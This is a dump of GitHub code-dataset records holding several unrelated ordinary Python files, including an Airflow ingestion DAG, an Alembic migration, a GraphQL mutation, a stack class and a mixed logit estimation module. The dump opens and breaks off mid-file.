<--- metadata analysis\n\n\t# \n\n\t###### --Run general pairwise 1-- ######\n\tif config.getboolean('genWF','runGenPW1'): # general pairwise 1 --->\n\t\tlogging.info(\"--General PW 1--\\n\\tRunnin basic pairwise on FM pairs.\")\n\t\t# get the list of FMs\n\t\tgenPW1FMList = config.get('genWF','genPW1FMList').split(',')\n\t\t# list of paired files must be even\n\t\tif (len(genPW1FMList) % 2 == 0):\n\t\t\tfor i in range(0,len(genPW1FMList),2):\n\t\t\t\t# get file name \n\t\t\t\tlogging.info('-Running Pair '+str(i/2+1))\n\t\t\t\tlogging.info('Test features at '+genPW1FMList[i])\n\t\t\t\tlogging.info('Target features at '+genPW1FMList[i+1])\n\t\t\t\tpwPath = outDir+'/genPW1_'\n\t\t\t\tpwPath += genPW1FMList[i][genPW1FMList[i].rfind('/')+1:genPW1FMList[i].rfind('.')]\n\t\t\t\tpwPath += '_vs_'\n\t\t\t\tpwPath += genPW1FMList[i+1][genPW1FMList[i+1].rfind('/')+1:genPW1FMList[i+1].rfind('.')]\n\t\t\t\tpwOutPath = pwPath+'_out.dat'\n\t\t\t\tpwRepPath = pwPath+'_summary.dat'\n\t\t\t\t# run the paired FM workflow\n\t\t\t\t# NOTE: potential mem issue as the summary code in this wf loads the whole pw output as np file object!\n\t\t\t\tlogging.info('Output saved to '+pwOutPath)\n\t\t\t\tlogging.info(\"Summary of pairwise output saved at {}.\".format(pwRepPath))\n\t\t\t\t_run2FMPW(genPW1FMList[i],genPW1FMList[i+1],pwOutPath,pwRepPath,outDir,pwWhich,samples=samples,minLogQ=minLogQ,nTopPairs=nTopPairs)\n\t\t\t\t\n\n\n\t\telse:\n\t\t\tlogging.warning('General pairwise 1 NOT run as the FM list does not have complete pairs (odd number).')\n\n\t# <---- general pairwise 1\n\n\tlogging.info(\"run completed.\")\n\tlogging.info(\"\")\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"Rtasseff/inovaGMWF","sub_path":"genWF.py","file_name":"genWF.py","file_ext":"py","file_size_in_byte":36411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6601433394","text":"'''\nAuthor: Jecosine\nDate: 2020-12-15 18:25:03\nLastEditTime: 2020-12-15 21:45:20\nLastEditors: Jecosine\nDescription: group entity\n'''\nfrom random import random\nfrom uuid import SafeUUID\nfrom utils import *\n\nfrom faker import Faker\nimport random\nfaker = Faker('zh_CN')\n\n\nclass Group:\n \"\"\"\n comment\n \"\"\"\n def __init__(self, _id=None, name=None, parentId=None, companyId=None):\n self._id = _id or get_uuid(15)\n self.name = name or faker.word()\n self.parentId = parentId\n self.companyId = companyId\n \n def set_parent(self, parent):\n self.parentId = parent\n\n @staticmethod\n def get_insert_sql():\n return '''INSERT INTO pigeonnest.`group` (id, name, parentId, companyId)\nVALUES (%s, %s, %s, %s)'''\n @staticmethod\n def get_update_sql():\n return \"\"\"UPDATE group t\n SET t.name = '%s',\n t.parentId = '%s'\n t.companyId = '%s'\n WHERE t.id LIKE '%s' ESCAPE '#'\"\"\"\n\n def get_data_for_insert(self):\n d = list(self.__dict__.items())\n return tuple([i[-1] for i in d])\n \n def get_data_for_update(self):\n d = list(self.__dict__.items())\n d = [i[-1] for i in d]\n t = d.pop(0)\n d.append(t)\n return tuple(d)\n","repo_name":"Thinking-boy-cs/pigeon","sub_path":"faker/Group.py","file_name":"Group.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"14867695646","text":"from datetime import timedelta, datetime\nfrom typing import Tuple, List, Dict, Optional\n\nfrom airflow import DAG\nfrom airflow.models import Variable\nfrom airflow.operators.dummy import DummyOperator\nfrom airflow.utils.trigger_rule import TriggerRule\n\nfrom e2e_dag.aiop.configuration.configs import SportConfig\nfrom e2e_dag.aiop.configuration.path_constants import ONLY_DATE_PARTITION_PATTERN, \\\n NETBASE_METRICS_LOCATION, AGGREGATED_AIRINGS_LOCATION, \\\n SPORT_CALENDAR_LOCATION_TEMPLATE, EXCLUDE_NETWORK_NAME_PATH, UFC_ENRICHED_CALENDAR_LOCATION_TEMPLATE\nfrom e2e_dag.aiop.configuration.pool_constants import AIOP_NETBASE_API_POOL\nfrom e2e_dag.aiop.configuration.template_constants import EXECUTION_DATE_OR_DS_NEXT_DAY_TEMPLATE, \\\n ARTIFACT_BUCKET_TEMPLATE, DATA_BUCKET_TEMPLATE\nfrom e2e_dag.aiop.configuration.variable_constants import COMMON_SPORTS_KEY\nfrom e2e_dag.aiop.dq.presence_checker_factory import get_check_presence_step\nfrom e2e_dag.aiop.etl.external_etl_steps import get_airings_sensor, get_ufc_calendar_transformation_sensor\nfrom e2e_dag.aiop.operators.ecs_provider import EcsUser, ECSOperatorWithConfigOnS3\nfrom e2e_dag.aiop.operators.slack_notifier import get_notify_slack_on_dag_failure\nfrom e2e_dag.aiop.operators.upcoming_events_checker import UpcomingEventsBySportBranchOperator\n\nartifact_bucket = ARTIFACT_BUCKET_TEMPLATE\ndata_bucket = DATA_BUCKET_TEMPLATE\n\nscript_path = f\"s3://{artifact_bucket}/etl/netbase/netbase_ingest.py\"\nteam_sports_script_path = f\"s3://{artifact_bucket}/etl/netbase/netbase_ingest_team_sports.py\"\n\ndefault_args = {\n 'owner': 'Evgeniia Maltseva',\n 'depends_on_past': False,\n 'email': ['airflow@example.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=5),\n}\n\ndag = DAG(\n f'aiop-data-netbase-ingestion',\n default_args=default_args,\n schedule_interval=\"0 21 * * *\",\n start_date=datetime(2022, 12, 1),\n catchup=False,\n is_paused_upon_creation=True,\n tags=['v0.1'],\n on_failure_callback=get_notify_slack_on_dag_failure()\n)\n# next-day because of shifted earlier schedule_interval\ndag_execution_date_template = EXECUTION_DATE_OR_DS_NEXT_DAY_TEMPLATE\n\nsports: List[SportConfig] = [SportConfig.from_raw(raw_sport)\n for raw_sport in Variable.get(COMMON_SPORTS_KEY, deserialize_json=True)]\nteam_sports: List[SportConfig] = [sport for sport in sports\n if sport.sport_name not in [\"ufc\", \"baseball\"]]\nufc_config: Optional[SportConfig] = next((sport for sport in sports if sport.sport_name == \"ufc\"), None)\n\nufc_calendar_transformation_sensor = get_ufc_calendar_transformation_sensor(dag=dag)\nairings_sensor = get_airings_sensor(dag=dag)\n\nsport_to_task_with_period_days: Dict[str, Tuple[str, int]] = {}\ningest_tasks: List[ECSOperatorWithConfigOnS3] = []\ncheckers: List[ECSOperatorWithConfigOnS3] = []\necs_user = EcsUser()\n\nif ufc_config is not None:\n ufc_ingest_task_id = \"netbase_ingest_ufc\"\n netbase_ingest_ufc = ecs_user.get_ecs_operator(\n task_id=ufc_ingest_task_id,\n dag=dag,\n command=[\"ingest.py\",\n \"--s3-bucket\", data_bucket,\n \"--netbase-metrics-location\", NETBASE_METRICS_LOCATION,\n \"--ingest-date\", dag_execution_date_template,\n \"--ufc-calendar-path-template\", UFC_ENRICHED_CALENDAR_LOCATION_TEMPLATE],\n environment=[{'name': 'PYTHON_SCRIPT_S3_URL',\n 'value': script_path}],\n pool=AIOP_NETBASE_API_POOL)\n\n presence_checker_ufc: ECSOperatorWithConfigOnS3 = get_check_presence_step(\n task_id=\"data_presence_checker_ufc\",\n dag=dag,\n data_bucket_template=data_bucket,\n artifact_bucket_template=artifact_bucket,\n processing_date_template=dag_execution_date_template,\n relative_paths_patterns_to_check=[f\"{NETBASE_METRICS_LOCATION}/mma{ONLY_DATE_PARTITION_PATTERN}/*.csv\"]\n )\n netbase_ingest_ufc >> presence_checker_ufc\n\n sport_to_task_with_period_days[ufc_config.calendar_sport_name] = (ufc_ingest_task_id, ufc_config.days_to_predict)\n ingest_tasks.append(netbase_ingest_ufc)\n checkers.append(presence_checker_ufc)\n\n\ndef get_sport_tasks(sport_name) -> Tuple[ECSOperatorWithConfigOnS3, ECSOperatorWithConfigOnS3]:\n ingest_task: ECSOperatorWithConfigOnS3 = ecs_user.get_ecs_operator(\n task_id=f'netbase_ingest_{sport_name}',\n dag=dag,\n command=[\"ingest.py\",\n \"--s3-bucket\", data_bucket,\n \"--ingest-date\", dag_execution_date_template,\n \"--aggregated-airings-location\", AGGREGATED_AIRINGS_LOCATION,\n \"--netbase-metrics-location\", NETBASE_METRICS_LOCATION,\n \"--sport-calendar-path-template\", SPORT_CALENDAR_LOCATION_TEMPLATE,\n \"--exclude-network-names-location\", EXCLUDE_NETWORK_NAME_PATH,\n \"--sport-name\", sport_name],\n environment=[{'name': 'PYTHON_SCRIPT_S3_URL',\n 'value': team_sports_script_path}],\n pool=AIOP_NETBASE_API_POOL)\n checker_task: ECSOperatorWithConfigOnS3 = get_check_presence_step(\n task_id=f\"data_presence_checker_{sport_name}\",\n dag=dag,\n data_bucket_template=data_bucket,\n artifact_bucket_template=artifact_bucket,\n processing_date_template=dag_execution_date_template,\n relative_paths_patterns_to_check=[f\"{NETBASE_METRICS_LOCATION}/{sport_name}{ONLY_DATE_PARTITION_PATTERN}/*.csv\"]\n )\n ingest_task >> checker_task\n return ingest_task, checker_task\n\n\nfor sport in team_sports:\n sport_to_task_with_period_days[sport.calendar_sport_name] = (f\"netbase_ingest_{sport.sport_name}\",\n sport.days_to_predict)\n ingest_sport_task, presence_checker = get_sport_tasks(sport.sport_name)\n ingest_tasks.append(ingest_sport_task)\n checkers.append(presence_checker)\n\ncheck_upcoming_events_branch = UpcomingEventsBySportBranchOperator(\n sport_to_task_with_period_days=sport_to_task_with_period_days,\n execution_date=dag_execution_date_template,\n bucket=data_bucket,\n task_id=\"check_upcoming_events_branch\")\n\nend_step = DummyOperator(task_id=\"dummy_after_netbase_ingest\",\n dag=dag,\n trigger_rule=TriggerRule.NONE_FAILED)\n\n[ufc_calendar_transformation_sensor, airings_sensor] >> check_upcoming_events_branch >> ingest_tasks\ncheckers >> end_step\n\n","repo_name":"evgeniya-maltseva/sport-events-traffic-forecast","sub_path":"data-ingestion/netbase_ingestion/airflow/netbase.py","file_name":"netbase.py","file_ext":"py","file_size_in_byte":6502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15410091257","text":"\"\"\"\nUtility functions\n\"\"\"\n\nimport numpy as np\n\ndef parse_fibers(fiber_string) :\n \"\"\"\n Short func that parses a string containing a comma separated list of\n integers, which can include \":\" or \"..\" or \"-\" labeled ranges\n\n Args:\n fiber_string (str) : list of integers or integer ranges\n\n Returns (array 1-D):\n 1D numpy array listing all of the integers given in the list,\n including enumerations of ranges given.\n\n Note: this follows python-style ranges, i,e, 1:5 or 1..5 returns 1, 2, 3, 4\n \"\"\"\n if fiber_string is None :\n return np.array([])\n else:\n fiber_string = str(fiber_string)\n\n if len(fiber_string.strip(' \\t'))==0:\n return np.array([])\n\n fibers=[]\n\n\n for sub in fiber_string.split(',') :\n sub = sub.replace(' ','')\n if sub.isdigit() :\n fibers.append(int(sub))\n continue\n\n match = False\n for symbol in [':','..','-']:\n if not match and symbol in sub:\n tmp = sub.split(symbol)\n if (len(tmp) == 2) and tmp[0].isdigit() and tmp[1].isdigit() :\n match = True\n for f in range(int(tmp[0]),int(tmp[1])) :\n fibers.append(f)\n\n if not match:\n print(\"parsing error. Didn't understand {}\".format(sub))\n import sys\n sys.exit(1)\n\n return np.array(fibers)\n","repo_name":"desihub/desimeter","sub_path":"py/desimeter/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"39657678540","text":"\"\"\"Make user's name and project's author non-nullable\n\nRevision ID: 384e13b3ec54\nRevises: e3afdf1adbd2\nCreate Date: 2020-04-08 19:11:26.626906\n\n\"\"\"\nfrom alembic import context\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '384e13b3ec54'\ndown_revision = 'e3afdf1adbd2'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column(\n 'appuser',\n 'first_name',\n existing_type=sa.VARCHAR(length=120),\n nullable=False\n )\n op.alter_column(\n 'appuser',\n 'last_name',\n existing_type=sa.VARCHAR(length=120),\n nullable=False\n )\n op.alter_column(\n 'project',\n 'author',\n existing_type=sa.VARCHAR(length=240),\n nullable=False\n )\n # ### end Alembic commands ###\n if context.get_x_argument(as_dictionary=True).get('data_migrate', None):\n data_upgrades()\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column(\n 'project',\n 'author',\n existing_type=sa.VARCHAR(length=240),\n nullable=True\n )\n op.alter_column(\n 'appuser',\n 'last_name',\n existing_type=sa.VARCHAR(length=120),\n nullable=True\n )\n op.alter_column(\n 'appuser',\n 'first_name',\n existing_type=sa.VARCHAR(length=120),\n nullable=True\n )\n # ### end Alembic commands ###\n # NOTE: In practice perfect downgrades are difficult and in some cases\n # impossible! It is more practical to use database backups/snapshots to\n # \"downgrade\" the database. Changes to the database that we intend to\n # push to production should always be added to a NEW migration.\n # (i.e. \"downgrade forward\"!)\n\n\ndef data_upgrades():\n \"\"\"Add optional data upgrade migrations here\"\"\"\n pass\n\n\ndef data_downgrades():\n \"\"\"Add optional data downgrade migrations here\"\"\"\n pass\n","repo_name":"SBRG/lifelike","sub_path":"appserver/migrations/versions/384e13b3ec54_.py","file_name":"384e13b3ec54_.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"47"} +{"seq_id":"38662470084","text":"from ariadne import ObjectType, convert_kwargs_to_snake_case\n\nfrom store import messages, queues,total_data\n\nmutation = ObjectType(\"Mutation\")\n\n\n@mutation.field(\"postMessage\")\n@convert_kwargs_to_snake_case\nasync def resolve_post_message(obj, info, user, content):\n try:\n message = {\n \"id\": len(messages)+1,\n \"user\": user,\n \"content\": content\n }\n messages.append(message)\n total_data.append(messages[-1])\n # print(total_data)\n for queue in queues:\n await queue.put(message)\n # print(messages)\n return message\n except Exception as error:\n return {\n \"success\": False,\n \"errors\": [str(error)]\n }","repo_name":"Nuvindu/Real-Time-Chat-Application-Python","sub_path":"server/mutations.py","file_name":"mutations.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4347471634","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass Stack:\n def __init__(self):\n self.head = None\n\n def is_empty(self):\n if not self.head:\n return True\n else:\n return False\n\n def push(self, data):\n node = Node(data)\n node.next = self.head\n self.head = node\n\n def pop(self):\n if self.is_empty():\n return None\n \n ret_data = self.head.data\n self.head = self.head.next\n return ret_data\n\n def peek(self):\n if self.is_empty():\n return None\n return self.head.data\n\ns = Stack()\ns.push(1)\ns.push(2)\ns.push(3)\ns.push(4)\n\nwhile not s.is_empty():\n print(s.pop())","repo_name":"leejinseok/python-datastructure","sub_path":"stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"21832385473","text":"\"\"\"Implements all the logic for mixed logit models.\"\"\"\n\n# pylint: disable=invalid-name\nimport scipy.stats\nfrom ._choice_model import ChoiceModel, diff_nonchosen_chosen\nfrom ._device import device as dev\nfrom .multinomial_logit import MultinomialLogit\nfrom ._optimize import _minimize, _numerical_hessian\nimport numpy as np\n\n\"\"\"\nNotations\n---------\n N : Number of choice situations\n P : Number of observations per panel\n J : Number of alternatives\n K : Number of variables (Kf: fixed, Kr: random)\n\"\"\"\n\n\nclass MixedLogit(ChoiceModel):\n \"\"\"Class for estimation of Mixed Logit Models.\n\n Attributes\n ----------\n coeff_ : numpy array, shape (n_variables + n_randvars, )\n Estimated coefficients\n\n coeff_names : numpy array, shape (n_variables + n_randvars, )\n Names of the estimated coefficients\n\n stderr : numpy array, shape (n_variables + n_randvars, )\n Standard errors of the estimated coefficients\n\n zvalues : numpy array, shape (n_variables + n_randvars, )\n Z-values for t-distribution of the estimated coefficients\n\n pvalues : numpy array, shape (n_variables + n_randvars, )\n P-values of the estimated coefficients\n\n loglikelihood : float\n Log-likelihood at the end of the estimation\n\n convergence : bool\n Whether convergence was reached during estimation\n\n total_iter : int\n Total number of iterations executed during estimation\n\n estim_time_sec : float\n Estimation time in seconds\n\n sample_size : int\n Number of samples used for estimation\n\n aic : float\n Akaike information criteria of the estimated model\n\n bic : float\n Bayesian information criteria of the estimated model\n \"\"\"\n\n def __init__(self):\n \"\"\"Init Function.\"\"\"\n super(MixedLogit, self).__init__()\n self._rvidx = None # Index of random variables (True when random var)\n self._rvdist = None # List of mixing distributions of rand vars\n\n def fit(self, X, y, varnames, alts, ids, randvars, isvars=None, weights=None, avail=None, panels=None,\n base_alt=None, fit_intercept=False, init_coeff=None, maxiter=2000, random_state=None, n_draws=1000,\n halton=True, verbose=1, batch_size=None, halton_opts=None, tol_opts=None, robust=False, num_hess=False,\n scale_factor=None, optim_method=\"BFGS\", mnl_init=True, addit=None, skip_std_errs=False):\n \"\"\"Fit Mixed Logit models.\n\n Parameters\n ----------\n X : array-like, shape (n_samples*n_alts, n_variables)\n Input data for explanatory variables in long format\n\n y : array-like, shape (n_samples*n_alts,)\n Chosen alternatives or one-hot encoded representation of the choices\n\n varnames : list-like, shape (n_variables,)\n Names of explanatory variables that must match the number and order of columns in ``X``\n\n alts : array-like, shape (n_samples*n_alts,)\n Alternative values in long format\n\n ids : array-like, shape (n_samples*n_alts,)\n Identifiers for the samples in long format.\n\n randvars : dict\n Names (keys) and mixing distributions (values) of variables that have random parameters as coefficients.\n Possible mixing distributions are: ``'n'``: normal, ``'ln'``: lognormal, ``'u'``: uniform,\n ``'t'``: triangular, ``'tn'``: truncated normal\n\n isvars : list-like\n Names of individual-specific variables in ``varnames``\n\n weights : array-like, shape (n_samples,), default=None\n Sample weights in long format.\n\n avail: array-like, shape (n_samples*n_alts,), default=None\n Availability of alternatives for the choice situations. One when available or zero otherwise.\n\n panels : array-like, shape (n_samples*n_alts,), default=None\n Identifiers in long format to create panels in combination with ``ids``\n\n base_alt : int, float or str, default=None\n Base alternative\n\n fit_intercept : bool, default=False\n Whether to include an intercept in the model.\n\n init_coeff : numpy array, shape (n_variables,), default=None\n Initial coefficients for estimation.\n\n maxiter : int, default=200\n Maximum number of iterations\n\n random_state : int, default=None\n Random seed for numpy random generator\n\n n_draws : int, default=500\n Number of random draws to approximate the mixing distributions of the random coefficients\n\n halton : bool, default=True\n Whether the estimation uses halton draws.\n \n halton_opts : dict, default=None\n Options for generation of halton draws. The dictionary accepts the following options (keys):\n\n shuffle : bool, default=False\n Whether the Halton draws should be shuffled\n \n drop : int, default=100\n Number of initial Halton draws to discard to minimize correlations between Halton sequences\n \n primes : list\n List of primes to be used as base for generation of Halton sequences.\n\n tol_opts : dict, default=None\n Options for tolerance of optimization routine. The dictionary accepts the following options (keys):\n\n ftol : float, default=1e-10\n Tolerance for objective function (log-likelihood)\n \n gtol : float, default=1e-5\n Tolerance for gradient function.\n\n verbose : int, default=1\n Verbosity of messages to show during estimation. 0: No messages, 1: Some messages, 2: All messages\n\n batch_size : int, default=None\n Size of batches used to avoid GPU memory overflow.\n \n scale_factor : array-like, shape (n_samples*n_alts, ), default=None\n Scaling variable used for non-linear models. For WTP models, this is usually the negative of \n the price variable.\n \n addit : array-like, shape (n_samples*n_alts, ), default=None\n Additive term to model coefficients kept fixed during estimation.\n \n optim_method : str, default='BFGS'\n Optimization method to use for model estimation. It can be `BFGS` or `L-BFGS-B`.\n For non-linear (WTP-like) models, `L-BFGS-B` is used by default.\n\n robust: bool, default=False\n Whether robust standard errors should be computed\n\n num_hess: bool, default=False\n Whether numerical hessian should be used for estimation of standard errors\n\n skip_std_errs: bool, default=False\n Whether estimation of standard errors should be skipped\n\n mnl_init: bool, default=True\n Whether to initialize coefficients using estimates from a multinomial logit\n Returns\n -------\n None.\n \"\"\"\n # Handle array-like inputs by converting everything to numpy arrays\n X, y, varnames, alts, isvars, ids, weights, panels, avail, scale_factor, addit \\\n = self._as_array(X, y, varnames, alts, isvars, ids, weights, panels, avail, scale_factor, addit)\n\n self._validate_inputs(X, y, alts, varnames, isvars, ids, weights)\n\n if mnl_init and init_coeff is None:\n # Initialize coefficients using a multinomial logit model\n mnl = MultinomialLogit()\n mnl.fit(X, y, varnames, alts, ids, isvars=isvars, weights=weights, addit=addit,\n avail=avail, base_alt=base_alt, fit_intercept=fit_intercept, skip_std_errs=True)\n init_coeff = np.concatenate((mnl.coeff_, np.repeat(.1, len(randvars))))\n init_coeff = init_coeff if scale_factor is None else np.append(init_coeff, 1.)\n\n self._pre_fit(alts, varnames, isvars, base_alt, fit_intercept, maxiter)\n\n betas, X, y, panels, draws, weights, avail, Xnames, scale, addit = \\\n self._setup_input_data(X, y, varnames, alts, ids, randvars, isvars=isvars, weights=weights, avail=avail,\n panels=panels, init_coeff=init_coeff, random_state=random_state, n_draws=n_draws,\n halton=halton, verbose=verbose, predict_mode=False, halton_opts=halton_opts,\n scale_factor=scale_factor, addit=addit)\n\n tol = {'ftol': 1e-10, 'gtol': 1e-6}\n if tol_opts is not None:\n tol.update(tol_opts)\n\n Xd, scale_d, addit_d, avail = diff_nonchosen_chosen(X, y, scale, addit, avail) # Setup Xd as Xij - Xi*\n fargs = (Xd, panels, draws, weights, avail, scale_d, addit_d, batch_size)\n if scale_factor is not None:\n optim_method = \"L-BFGS-B\"\n optim_res = _minimize(self._loglik_gradient, betas, args=fargs, method=optim_method, tol=tol['ftol'],\n options={'gtol': tol['gtol'], 'maxiter': maxiter, 'disp': verbose > 1}) \n\n coef_names = np.append(Xnames, np.char.add(\"sd.\", Xnames[self._rvidx]))\n\n if scale_factor is not None:\n coef_names = np.append(coef_names, \"_scale_factor\")\n\n num_hess = num_hess if scale_factor is None else True\n\n if optim_method == \"L-BFGS-B\":\n optim_res['grad_n'] = self._loglik_gradient(optim_res['x'], *fargs, return_gradient=True)[2]\n\n if skip_std_errs:\n optim_res['hess_inv'] = np.eye(len(optim_res['x']))\n else:\n if num_hess or optim_method == \"L-BFGS-B\":\n optim_res['hess_inv'] = _numerical_hessian(optim_res['x'], self._loglik_gradient, args=fargs) \n\n self._post_fit(optim_res, coef_names, X.shape[0], verbose, robust)\n\n\n\n def predict(self, X, varnames, alts, ids, isvars=None, weights=None, avail=None, panels=None, random_state=None,\n n_draws=1000, halton=True, verbose=1, batch_size=None, return_proba=False, return_freq=False,\n halton_opts=None, scale_factor=None, addit=None):\n \"\"\"Predict chosen alternatives.\n\n Parameters\n ----------\n X : array-like, shape (n_samples*n_alts, n_variables)\n Input data for explanatory variables in long format\n\n varnames : list, shape (n_variables,)\n Names of explanatory variables that must match the number and order of columns in ``X``\n\n alts : array-like, shape (n_samples*n_alts,)\n Alternative values in long format\n\n ids : array-like, shape (n_samples*n_alts,)\n Identifiers for the samples in long format.\n\n isvars : list\n Names of individual-specific variables in ``varnames``\n\n weights : array-like, shape (n_variables,), default=None\n Sample weights in long format.\n\n avail: array-like, shape (n_samples*n_alts,), default=None\n Availability of alternatives for the samples. One when available or zero otherwise.\n\n panels : array-like, shape (n_samples*n_alts,), default=None\n Identifiers in long format to create panels in combination with ``ids``\n\n random_state : int, default=None\n Random seed for numpy random generator\n\n n_draws : int, default=200\n Number of random draws to approximate the mixing distributions of the random coefficients\n\n halton : bool, default=True\n Whether the estimation uses halton draws.\n \n halton_opts : dict, default=None\n Options for generation of Halton draws. The dictionary accepts the following options (keys):\n \n shuffle : bool, default=False\n Whether the Halton draws should be shuffled\n \n drop : int, default=100\n Number of initial Halton draws to discard to minimize correlations between Halton sequences\n \n primes : list\n List of primes to be used as base for generation of Halton sequences.\n\n verbose : int, default=1\n Verbosity of messages to show during estimation. 0: No messages, 1: Some messages, 2: All messages\n\n batch_size : int, default=None\n Size of batches used to GPU avoid memory overflow. \n \n scale_factor : array-like, shape (n_samples*n_alts, ), default=None\n Scaling variable used for non-linear WTP-like models. This is usually the negative of the price variable..\n \n addit : array-like, shape (n_samples*n_alts, ), default=None\n Additive term to model coefficients kept fixed during estimation.\n \n return_proba : bool, default=False\n If True, also return the choice probabilities\n\n return_freq : bool, default=False\n If True, also return the frequency of the chosen the alternatives\n\n\n Returns\n -------\n choices : array-like, shape (n_samples, )\n Chosen alternative for every sample in the dataset.\n\n proba : array-like, shape (n_samples, n_alts), optional\n Choice probabilities for each sample in the dataset. The alternatives are ordered (in the columns) as they \n appear in ``self.alternatives``. Only provided if `return_proba` is True.\n\n freq : dict, optional\n Choice frequency for each alternative. Only provided if `return_freq` is True.\n \"\"\"\n # Handle array-like inputs by converting everything to numpy arrays\n #=== 1. Preprocess inputs\n X, _, varnames, alts, isvars, ids, weights, panels, avail, scale_factor, addit \\\n = self._as_array(X, None, varnames, alts, isvars, ids, weights, panels, avail, scale_factor, addit)\n \n self._validate_inputs(X, None, alts, varnames, isvars, ids, weights)\n \n betas, X, _, panels, draws, weights, avail, Xnames, scale, addit = \\\n self._setup_input_data(X, None, varnames, alts, ids, self.randvars, isvars=isvars, weights=weights,\n avail=avail, panels=panels, init_coeff=self.coeff_, random_state=random_state,\n n_draws=n_draws, halton=halton, verbose=verbose, predict_mode=True,\n halton_opts=halton_opts, scale_factor=scale_factor, addit=addit)\n \n coeff_names = np.append(Xnames, np.char.add(\"sd.\", Xnames[self._rvidx]))\n coeff_names = coeff_names if scale_factor is None else np.append(coeff_names, \"_scale_factor\")\n if not np.array_equal(coeff_names, self.coeff_names):\n raise ValueError(\"The provided 'varnames' yield coefficient names that are inconsistent with the stored \"\n \"in 'self.coeff_names'\")\n \n \n lambdac = 1 if scale_factor is None else betas[-1]\n sca = 0 if scale_factor is None else scale[:, :, None]\n addit = 0 if addit is None else addit[:, :, None]\n \n #=== 2. Compute choice probabilities\n Xf = X[:, :, ~self._rvidx] # Data for fixed parameters\n Xr = X[:, :, self._rvidx] # Data for random parameters\n betas, Xr, avail = dev.to_gpu(betas), dev.to_gpu(Xr), dev.to_gpu(avail)\n lambdac, sca, addit = dev.to_gpu(lambdac), dev.to_gpu(sca), dev.to_gpu(addit)\n \n # Utility for fixed parameters\n Bf = betas[np.where(~self._rvidx)[0]] # Fixed betas\n Vf = dev.np.einsum('njk,k -> nj', Xf, Bf) # (N, J-1)\n \n proba = [] # Temp batching storage\n for batch_start, batch_end in batches_idx(batch_size, n_draws):\n draws_ = dev.to_gpu(draws[:, :, batch_start: batch_end])\n\n # Utility for random parameters \n Br = self._transform_rand_betas(betas, draws_) # Get random coefficients\n Vr = dev.cust_einsum(\"njk,nkr -> njr\", Xr, Br) # (N,J-1,R)\n \n eV = dev.np.exp(lambdac*(Vf[:, :, None] + Vr - sca + addit))\n Vdr, Br = None, None # Release memory\n\n eV = eV if avail is None else eV*avail[:, :, None] \n proba_ = eV/dev.np.sum(eV, axis=1, keepdims=True) # (N,J,R)\n # proba_ = self._prob_product_across_panels(proba_, panels) # (Np,J,R)\n\n proba.append(dev.to_cpu(proba_))\n\n proba = np.concatenate(proba, axis=-1) \n proba = proba.mean(axis=-1) # (N,J)\n \n #=== 3. Compute choices\n idx_max_proba = np.argmax(proba, axis=1)\n choices = self.alternatives[idx_max_proba]\n \n #=== 4. Arrange output depending on requested information\n output = (choices, )\n if return_proba:\n output += (proba, )\n \n if return_freq:\n alt_list, counts = np.unique(choices, return_counts=True)\n freq = dict(zip(list(alt_list),\n list(np.round(counts/np.sum(counts), 3))))\n output += (freq, )\n \n return _unpack_tuple(output) # Unpack before returning\n \n \n def _setup_input_data(self, X, y, varnames, alts, ids, randvars, isvars=None, weights=None, avail=None,\n panels=None, init_coeff=None, random_state=None, n_draws=200, halton=True, verbose=1,\n predict_mode=False, halton_opts=None, scale_factor=None, addit=None):\n if random_state is not None:\n np.random.seed(random_state)\n\n self._check_long_format_consistency(ids, alts)\n y = self._format_choice_var(y, alts) if not predict_mode else None\n X, Xnames = self._setup_design_matrix(X)\n self._model_specific_validations(randvars, Xnames)\n\n N, J, K, R = X.shape[0], X.shape[1], X.shape[2], n_draws\n Kr, Ks = len(randvars), 1 if scale_factor is not None else 0\n\n if panels is not None:\n # Convert panel ids to indexes \n panels = panels.reshape(N, J)[:, 0]\n panels_idx = np.empty(N)\n for i, u in enumerate(np.unique(panels)):\n panels_idx[np.where(panels==u)] = i\n panels = panels_idx.astype(int)\n\n # Reshape arrays in the format required for the rest of the estimation\n X = X.reshape(N, J, K)\n y = y.reshape(N, J, 1) if not predict_mode else None\n\n if not predict_mode:\n self._setup_randvars_info(randvars, Xnames)\n self.n_draws = n_draws\n self.verbose = verbose\n\n if avail is not None:\n avail = avail.reshape(N, J)\n\n # Generate draws\n n_samples = N if panels is None else panels[-1] + 1\n draws = self._generate_draws(n_samples, R, halton, halton_opts=halton_opts)\n draws = draws if panels is None else draws[panels] # (N,Kr,R)\n \n if weights is not None: # Reshape weights to match input data\n weights = weights.reshape(N, J)[:, 0] \n if panels is not None:\n panel_change_idx = np.concatenate(([0], np.where(panels[:-1] != panels[1:])[0] + 1))\n weights = weights[panel_change_idx]\n\n if init_coeff is None:\n betas = np.repeat(.1, K + Kr)\n else:\n betas = init_coeff\n if len(init_coeff) != (K + Kr + Ks):\n raise ValueError(\"The length of init_coeff must be: {}\".format(K + Kr + Ks))\n \n scale = None if scale_factor is None else scale_factor.reshape(N, J)\n addit = None if addit is None else addit.reshape(N, J)\n\n if dev.using_gpu and verbose > 0:\n print(\"GPU processing enabled.\")\n return betas, X, y, panels, draws, 